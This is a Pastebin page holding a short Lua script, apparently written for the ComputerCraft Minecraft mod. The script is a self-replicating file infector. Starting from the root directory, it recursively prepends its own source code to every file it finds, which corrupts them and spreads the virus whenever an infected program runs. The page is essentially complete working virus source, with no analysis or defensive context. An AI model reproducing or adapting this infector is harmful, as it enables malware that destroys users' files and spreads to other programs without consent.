Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- function infect(file)
- if fs.exists(file) and fs.isDir(file) == false then
- local fti = fs.open(file, "r")
- local ftic = fti.readAll()
- fti.close()
- local fti = fs.open(file, "w")
- local vf = fs.open(shell.getRunningProgram(), "r")
- local vc = vf.readAll()
- vf.close()
- fti.writeLine(vc)
- fti.writeLine(ftic)
- fti.close()
- end
- end
- function infectDir(dir)
- shell.setDir(dir)
- if fs.exists(dir) and fs.isDir(dir) then
- local files = fs.list(".")
- for i=1,#files do
- if fs.exists(files[i]) and fs.isDir(files[i]) then
- if shell.dir() == "/" then
- infectDir(shell.dir()..files[i])
- else
- infectDir(shell.dir().."/"..files[i])
- end
- elseif fs.exists(files[i]) and fs.isDir(files[i]) == false then
- if shell.dir() == "/" then
- infect(shell.dir()..files[i])
- else
- infect(shell.dir().."/"..files[i])
- end
- end
- shell.setDir("/")
- end
- end
- end
- infectDir("/")
Add Comment
Please, Sign In to add comment